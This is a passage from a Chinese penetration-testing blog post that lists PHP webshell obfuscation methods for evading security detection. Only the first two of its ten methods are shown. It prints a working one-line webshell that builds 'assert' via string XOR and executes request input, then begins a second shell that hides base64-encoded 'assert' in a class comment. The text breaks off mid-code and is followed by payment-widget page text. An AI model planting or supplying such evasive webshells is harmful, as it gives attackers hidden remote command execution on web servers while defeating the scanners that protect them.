渗透测试 | php的webshell绕过方法总结

本文详细总结了10种PHP webshell绕过方法,包括异或运算、注释隐藏、字符运算符、使用end函数、常量定义、字符串拼接、函数定义、类定义等,并通过实例演示了如何绕过安全检测。这些技巧可用于网络安全测试,但须注意合法性和道德底线。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

1.php的异或运算

2.通过获取注释去绕过

3.利用字符的运算符

4.通过end函数代替[]

5.通过常量去绕过

6.字符串拼接+双美元符

7.通过函数定义绕过

8.通过类定义,然后传参分割

9.多传参方式绕过

10.通过get_defined_functions绕过


本文由掌控安全学院 - 手电筒 投稿

1.php的异或运算

 
  1. $a="~+d()"^"!{+{}"

这个表示了$a=这两个字符串之间进行一个异或运算
运算异或运算符,按二进制位进行异或运算
这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码
通过这个转换的方式来绕过检测

 
  1. <?php

  2. $a= ("!"^"@").'ssert';

  3. $a($_REQUEST[x]);

  4. ?>

测试可以成功连接

图片

2.通过获取注释去绕过

 
  1. <?php

  2. /**

  3. * YXNzZXJ0YmZnZmc=

  4. */

  5. class Example

  6. {

  7. public function fn()

  8. {

  9. }

  10. }

  11. 通过一个空的类去获取,

  12. $reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释

  13. $zhushi = substr(($reflector->getDocComment()), 7, 12);//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示

  14. $zhushi = base64_decode($zhushi);

  15. $zhushi = substr($zhushi, 0, 6);

  16. echo $zhushi;

  17. foreach (array('_POST','_GET') as $_request) {

  18. foreach ($$_request as $_key=>$_value) {

  19. $$_key= $_value;

  20. }

  21. }

  22. /*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_req

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值